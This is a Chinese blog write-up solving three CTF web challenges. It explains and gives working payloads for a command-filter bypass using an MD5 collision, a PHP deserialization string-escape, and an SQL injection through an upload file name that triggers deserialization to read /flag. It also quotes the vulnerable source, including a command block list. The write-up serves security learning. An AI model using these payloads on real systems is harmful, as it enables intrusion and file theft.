抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

发现buuoj上安洵2019的题目有现成的,不用在vps上搭了(第一题除外,搭好才发现……),刚好做做。

easy_web

进去后url有两个明显参数,第一个类似于base64编码,第二个由参数名知道可能是rce参数

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

先解码前面一个参数的值,发现base64解了两次后得到一串数字,看起来像十六进制字符。尝试16进制解码后得到555.pnf0证实了加密方式。
加上图片的回显有base64的内容,可知img参数用于文件包含,那么包含下index.php吧

import base64
import binascii


str='index.php'
filename = str.encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
print(hex)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode('utf-8'))

得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

第一个参数已经利用完了,而第二个参数用于rce,但明显过滤了许多读取文件的命令。
同时可知要执行命令必须绕过一层MD5对比。基于使用了php强相等符号,可知一定要找到一对MD5相同的不同字符串。可以用某种MD5碰撞生成器得到。我直接用官方wp里的吧

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

之后就是执行命令了。直接利用匹配正则里面\的疏忽,用它使我们的关键字构建出来

ca\t%20/flag                    cat /flag

或者使用没被过滤的读取文件的命令

sort /flag

flag

easy_serialize_php

题目对我有点难,但是打开了反序列化新世界的大门
一道反序列化利用题,上来直接给了源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

思路上首先看看可控的参数,有get传值的f,img_path。但是注意到img_path搭配上fshow_image时,返回的内容并不可用,因为

$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

中,我们传的值经过sha1加密后并没有解密,故不可用。
此时关注其他重点,有一句

extract($_POST);

是一个变量覆盖的利用。所以我们的变量值都可以通过post操作改变,这样可控的参数多了起来。
同时注意到序列化语句,会在调用show_image时被触发

$serialize_info = filter(serialize($_SESSION));

漏洞点正在于此,在序列化数据之后,它经过了一层过滤才给变量赋值。而从最上方的过滤函数可知,出现被过滤的关键字直接替换为空。那么这是否会有漏洞可以用呢?答案是肯定的。出题人如是说:

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

其意义在于,给user所赋的值刚好24个,而这24个字符由于过滤flag的原因,在经过序列化后被置为空。这时就可以吞掉一个function,做到任意读取文件。

首先从提示phpinfo处找到一个不可直接读的php文件,我们先尝试利用漏洞读取它看看。(由于关键字里过滤了f1ag,所以在phpinfo界面搜f1ag关键字,果断发现d0g3_f1ag.php)
下面我来构造下序列化的类,从源码知道SESSION类有三个属性:

<?php
class SESSION
{
    var $user="flagflagflagflagflagflag";
    var $function='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}';# 其中为d0g3_f1ag.php base64编码
    var $img="MS5qcGc=";# 值为1.jpg的base64编码
}
$a=new SESSION();
echo(serialize($a));

生成的payload如下:

O:7:"SESSION":3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}";s:3:"img";s:8:"MS5qcGc=";}

而经过过滤后

O:7:"SESSION":3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}";s:3:"img";s:8:"MS5qcGc=";}

此时user属性对应的值被置空,那么它就要去把后面的24个字符置为它的值。也就是

";s:8:"function";s:59:"a"

相当于吞掉了function属性,但是我们构造的$function中,包含了img属性的值,以及构造的一个test属性的值,使得我们的序列化数据仍然是满足一个类对应三个键值。这时它对序列化数据的匹配就是由{开始,到}结束。所以后面多余的字符";s:3:"img";s:8:"MS5qcGc=";}全部被忽略。
这样,我们通过控制function属性的值,达到了控制img属性值的效果,从而触发反序列化,读取文件。
最终payload如下:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:4:"test";s:1:"a";}&function=show_image

(function也可以直接get传)
flag
另外题目构造的其实是SESSION数组进行序列化,但是序列化格式一样,都可行。

<?php
$b=array("user"=>"flagflagflagflagflagflag",
    "function"=>'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"test";s:1:"a";}',
    "img"=>"MS5qcGc=");
echo(serialize($b));

不是文件上传

也是一道反序列化题目,意图在于反序列化结合sql注入。在源码审计上下了不少功夫。如果我在比赛中做多半会卡在sql注入上吧。

首先进入页面,可以发现网站底部留下了wowouploadimage,可以拿到一份源码。主要内容如下:
upload.php

<?php
include("./helper.php");
class upload extends helper {
    public function upload_base(){
        $this->upload();
    }
}

if ($_FILES){
    if ($_FILES["file"]["error"]){
        die("Upload file failed.");
    }else{
        $file = new upload();
        $file->upload_base();
    }
}

$a = new helper();
?>

show.php

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
    if($_GET["delete_all"] == "true"){
        $show->Delete_All_Images();
    }
}
$show->Get_All_Images();

class show{
    public $con;

    public function __construct(){
        $this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
        if (mysqli_connect_errno($this->con)){ 
               die("Connect MySQL Fail:".mysqli_connect_error());
        }
    }

    public function Get_All_Images(){
        $sql = "SELECT * FROM images";
        $result = mysqli_query($this->con, $sql);
        if ($result->num_rows > 0){
            while($row = $result->fetch_assoc()){
                if($row["attr"]){
                    $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                    $attr = unserialize($attr_temp);
                }
                echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
            }
        }else{
            echo "<p>You have not uploaded an image yet.</p>";
        }
        mysqli_close($this->con);
    }

    public function Delete_All_Images(){
        $sql = "DELETE FROM images";
        $result = mysqli_query($this->con, $sql);
    }
}
?>

helper.php

<?php
class helper {
    protected $folder = "pic/";
    protected $ifview = False; 
    protected $config = "config.txt";
    // The function is not yet perfect, it is not open yet.

    public function upload($input="file")
    {
        $fileinfo = $this->getfile($input);
        $array = array();
        $array["title"] = $fileinfo['title'];
        $array["filename"] = $fileinfo['filename'];
        $array["ext"] = $fileinfo['ext'];
        $array["path"] = $fileinfo['path'];
        $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
        $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
        $array["attr"] = serialize($my_ext);
        $id = $this->save($array);
        if ($id == 0){
            die("Something wrong!");
        }
        echo "<br>";
        echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
    }

    public function getfile($input)
    {
        if(isset($input)){
            $rs = $this->check($_FILES[$input]);
        }
        return $rs;
    }

    public function check($info)
    {
        $basename = substr(md5(time().uniqid()),9,16);
        $filename = $info["name"];
        $ext = substr(strrchr($filename, '.'), 1);
        $cate_exts = array("jpg","gif","png","jpeg");
        if(!in_array($ext,$cate_exts)){
            die("<p>Please upload the correct image file!!!</p>");
        }
        $title = str_replace(".".$ext,'',$filename);
        return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
    }

    public function save($data)
    {
        if(!$data || !is_array($data)){
            die("Something wrong!");
        }
        $id = $this->insert_array($data);
        return $id;
    }

    public function insert_array($data)
    {    
        $con = mysqli_connect("127.0.0.1","root","root","pic_base");
        if (mysqli_connect_errno($con)) 
        { 
            die("Connect MySQL Fail:".mysqli_connect_error());
        }
        $sql_fields = array();
        $sql_val = array();
        foreach($data as $key=>$value){
            $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
            $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
            $sql_fields[] = "`".$key_temp."`";
            $sql_val[] = "'".$value_temp."'";
        }
        $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
        mysqli_query($con, $sql);
        $id = mysqli_insert_id($con);
        mysqli_close($con);
        return $id;
    }

    public function view_files($path){
        if ($this->ifview == False){
            return False;
            //The function is not yet perfect, it is not open yet.
        }
        $content = file_get_contents($path);
        echo $content;
    }

    function __destruct(){
        # Read some config html
        $this->view_files($this->config);
    }
}
?>

先从比较直观的地方开始审计。我个人首先从helper.php开始观察。因为这很有可能存在是一个反序列化利用的代码。果然首先注意到,helper类中,有着经典的_destruct()魔术方法,它调用的view_file()方法,会执行file_get_contents()函数。显然是利用它。回过头再仔细看下触发方式。
首先,在helper.php中,发现图片的attr属性被序列化存储。

$array["attr"] = serialize($my_ext);

之后在show.php中,调用了一次反序列化

if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}

然后注意我们的upload图片操作,传图片后,调用了check()函数,但是并没有对文件名做检测就被保存为info,之后作为参数传进了save()函数。save()本质上执行了一次sql语句:

$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";

也就是说,我们其实是通过控制上传图片的文件名,触发sql注入,进一步触发反序列化,达到目的。
所以现生成反序列化payoad:

<?php
class helper
{
    protected $ifview = True;
    protected $config = "/flag";
}
$a=new helper();
echo(serialize($a));

得到结果需要调整为

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

这是由于protected的属性决定的。如果是private则是两个%00%00
然后构造文件名,我们只需让文件的序列化部分改为我们的payload。基于普通上传执行语句为:

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

我们把文件名改改

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg')

其中的由于引号问题,我们的payload需要字符串转16进制。
上传文件即可触发得到flag.
flag

评论